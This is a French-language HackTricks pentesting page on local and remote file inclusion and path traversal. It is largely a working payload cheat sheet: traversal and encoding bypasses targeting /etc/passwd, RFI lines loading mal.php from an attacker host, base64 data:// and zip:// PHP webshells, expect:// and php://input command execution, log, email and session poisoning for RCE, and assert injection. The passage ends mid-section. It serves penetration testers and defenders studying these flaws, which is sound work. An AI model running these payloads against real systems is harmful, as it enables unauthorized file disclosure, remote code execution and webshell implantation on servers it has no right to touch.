hacktricks/pentesting-web/file-inclusion/README.md

# Inclusion de fichier/traversal de chemin

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>

Autres façons de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.

</details>

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !

**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

**Actualités de piratage en temps réel**\
Restez informé du monde du piratage rapide grâce aux actualités et aux informations en temps réel

**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

## Inclusion de fichier

**Inclusion de fichier à distance (RFI) :** Le fichier est chargé à partir d'un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est **désactivé** par défaut (**allow\_url\_include**).\
**Inclusion de fichier local (LFI) :** Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

**Fonctions PHP vulnérables** : require, require\_once, include, include\_once

Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

## Aveugle - Intéressant - Fichiers LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**

**Mélangeant plusieurs listes LFI \*nix et ajoutant plus de chemins, j'ai créé celle-ci:**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer `/` pour `\`\
Essayez également d'ajouter `../../../../../`

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

### **Windows**

Fusion de différentes listes de mots:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer `/` pour `\`\
Essayez également de supprimer `C:/` et d'ajouter `../../../../../`

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

### **OS X**

Consultez la liste LFI de Linux.

## LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers à distance (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### séquences de traversée dépouillées de manière non récursive
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Octet nul (%00)**

Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Cela est **résolu depuis PHP 5.4**

### **Encodage**

Vous pourriez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### À partir du dossier existant

Peut-être que le back-end vérifie le chemin du dossier :
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Exploration des répertoires du système de fichiers sur un serveur

Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

1. **Déterminer la profondeur du répertoire :**
Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sonder les dossiers :**
Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de un :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpréter les Résultats :**
La réponse du serveur indique si le dossier existe :
- **Erreur / Aucune Sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
- **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.

4. **Exploration Récursive :**
Les dossiers découverts peuvent être davantage explorés pour rechercher des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichier Locale (LFI).

Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Technique de Troncature de Chemin**

La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` et `/etc/passwd/` sont tous traités comme le même chemin.
- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (le transformant en `passwd/`) ne modifie pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier qui est accédé.

Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```

```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

- **Utilisation de segments de points et de caractères supplémentaires**:
Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.

- **Détermination du nombre de traversées requis**:
Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer vers le répertoire racine, puis vers `/etc/passwd`, en veillant à neutraliser les chaînes ajoutées (comme `.php`) tout en conservant le chemin souhaité (`/etc/passwd`).

- **Commencer par un répertoire fictif**:
Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse des chemins du serveur.

Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

**Cette vulnérabilité a été corrigée dans PHP 5.3.**

### **Astuces de contournement des filtres**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusion de Fichier à Distance

En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Si, pour une raison quelconque, **`allow_url_include`** est **activé**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une RCE:

{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}

{% hint style="info" %}
Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
{% endhint %}

Un autre exemple **ne utilisant pas le protocole `php://`** serait:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}

## Élément racine Python

En python dans un code comme celui-ci :
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Il s'agit du comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :

> Si un composant est un chemin absolu, tous les composants précédents sont jetés et le joint continue à partir du composant de chemin absolu.

## Répertoires de liste Java

Il semble que si vous avez une Traversée de Chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langages (à ma connaissance).

## Top 25 paramètres

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (de [lien](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI en utilisant les enrobages et protocoles PHP

### php://filter

Les filtres PHP permettent d'effectuer des opérations de **modification de base sur les données** avant leur lecture ou écriture. Il existe 5 catégories de filtres :

* [Filtres de chaîne](https://www.php.net/manual/en/filters.string.php) :
  * `string.rot13`
  * `string.toupper`
  * `string.tolower`
  * `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
  * Notez que ce filtre a disparu des versions modernes de PHP
* [Filtres de conversion](https://www.php.net/manual/en/filters.convert.php)
  * `convert.base64-encode`
  * `convert.base64-decode`
  * `convert.quoted-printable-encode`
  * `convert.quoted-printable-decode`
  * `convert.iconv.*` : Transforme en une autre codification (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de toutes les codifications** prises en charge, exécutez dans la console : `iconv -l`

{% hint style="warning" %}
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou pour rendre un processus d'inclusion de texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}

* [Filtres de compression](https://www.php.net/manual/en/filters.compression.php)
  * `zlib.deflate` : Compresse le contenu (utile pour exfiltrer beaucoup d'informations)
  * `zlib.inflate` : Décompresse les données
* [Filtres de chiffrement](https://www.php.net/manual/en/filters.encryption.php)
  * `mcrypt.*` : Obsolète
  * `mdecrypt.*` : Obsolète
* Autres filtres
  * En exécutant `var_dump(stream_get_filters());` en PHP, vous pouvez trouver quelques filtres **inattendus** :
    * `consumed`
    * `dechunk` : inverse le codage chunked HTTP
    * `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
La partie "php://filter" est insensible à la casse
{% endhint %}

### php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (pas sûr de comment cela pourrait être utile dans une attaque)

### zip:// et rar://

Téléchargez un fichier Zip ou Rar avec un PHPShell à l'intérieur et y accédez.\
Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://

La technique `data://` permet d'inclure des données directement dans une URL. Cela peut être utilisé pour exécuter du code malveillant en exploitant une vulnérabilité d'inclusion de fichier.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**

### expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://

Spécifiez votre charge utile dans les paramètres POST :
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://

Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier `.phar`:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
```bash
php --define phar.readonly=0 create_path.php
```
À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).

Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole `phar`.

Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, veuillez consulter le document lié ci-dessous :

[Guide d'exploitation de la désérialisation Phar](phar-deserialization.md)

{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}

### Plus de protocoles

Consultez plus de[ **protocoles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**

* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichier)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accéder au système de fichiers local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accéder aux URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accéder aux URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (ne renvoie rien d'imprimable, donc pas vraiment utile ici)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)

## LFI via la fonction 'assert' de PHP

Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'on utilise la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.

Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire de la manière suivante :
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter ceci et lire le contenu des fichiers, un attaquant pourrait utiliser :
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :
```plaintext
' and die(system("id")) or '
```
Il est important d'**encoder ces charges utiles en URL**.


<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !

**Perspectives de Hacking**\
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

**Actualités de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux perspectives en temps réel

**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

## Traversée de Chemin PHP en Aveugle

{% hint style="warning" %}
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
{% endhint %}

Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin en aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.

En résumé, la technique utilise le codage **"UCS-4LE"** pour rendre le contenu d'un fichier si **volumineux** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.

Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.

**Fonctions potentiellement vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (cible uniquement en lecture avec ceci)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

Pour les détails techniques, consultez l'article mentionné !

## LFI2RCE

### Inclusion de Fichier à Distance

Expliqué précédemment, [**suivez ce lien**](./#remote-file-inclusion).

### Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est **vulnérable à une LFI** à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, définir à l'intérieur de l'**agent utilisateur** ou à l'intérieur d'un **paramètre GET** une coquille PHP comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier

{% hint style="warning" %}
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **simples guillemets**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** à cet endroit et **rien d'autre ne sera exécuté**.

Assurez-vous également d'**écrire correctement la charge utile** ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième opportunité.
{% endhint %}

Cela pourrait également être fait dans d'autres journaux mais **soyez prudent,** le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la Coquille. L'en-tête **authorisation "basic"** contient "utilisateur: mot de passe" en Base64 et est décodé à l'intérieur des journaux. La Coquille PHP pourrait être insérée à l'intérieur de cet en-tête.\
Autres chemins de journaux possibles:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
### Via Email

**Envoyer un e-mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer de l'inclure dans le courriel de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**

### Via /proc/\*/fd/\*

1. Téléchargez beaucoup de coquilles (par exemple : 100)
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)

### Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Pour garder le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf

### Via téléchargement de fichier Zip

Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez :
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via sessions PHP

Vérifiez si le site web utilise la session PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilisez le LFI pour inclure le fichier de session PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id\_rsa**

### **Via** **logs** **vsftpd**

Les journaux du serveur FTP vsftpd se trouvent dans **_/var/log/vsftpd.log_**. Dans le scénario où une vulnérabilité d'inclusion de fichier local (LFI) existe et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :

1. Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur depuis **_/var/log/vsftpd.log_**.


### Via filtre php base64 (en utilisant base64)

Comme le montre [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre base64 PHP ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via filtres php (aucun fichier nécessaire)

Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}

### Via une erreur de segmentation

**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête**, déclenchez une **erreur de segmentation**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}

### Via le stockage temporaire des fichiers de Nginx

Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}

### Via PHP\_SESSION\_UPLOAD\_PROGRESS

Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **POST multipart**, PHP va **activer la session pour vous**. Vous pourriez en abuser pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}

### Via les téléversements de fichiers temporaires dans Windows

Si vous avez trouvé une **inclusion de fichier local** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}

### Via phpinfo() (file\_uploads = on)

Si vous avez trouvé une **inclusion de fichier local** et un fichier exposant **phpinfo()** avec file\_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}

### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgation de chemin

Si vous avez trouvé une **inclusion de fichier local** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure comporte des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Condition de Course** :

